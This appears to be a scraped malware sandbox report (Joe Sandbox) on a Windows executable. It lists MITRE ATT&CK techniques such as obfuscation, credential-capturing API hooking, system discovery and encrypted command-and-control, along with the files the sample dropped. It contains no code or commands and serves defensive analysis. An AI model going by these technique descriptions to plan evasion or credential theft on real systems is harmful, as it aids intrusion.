Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 287438657364-7643738421.08.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\s[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\c[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\i[1].dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\a[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\d[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\b[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\s[1].dat

C:\Users\user\Documents\MsMpList.dat

C:\Users\user\Documents\O8xg2t.exe

C:\Users\user\Documents\WordpadFilter.db

C:\Users\user\Documents\vselog.dll

C:\Windows\System32\drivers\189atohci.sys

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
287438657364-7643738421.08.exe

Function 0000000140006C95 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260
COMMONLIBRARYCODE

Function 00000001400073E0 Relevance: 1.6, APIs: 1, Instructions: 121
libraryloaderCOMMONLIBRARYCODE

Function 0000000140005DF3 Relevance: 54.3, APIs: 3, Strings: 28, Instructions: 79
fileCOMMON

Function 00007FFBC3201C00 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Function 00007FFBC3201720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Function 00007FFBC32011B0 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre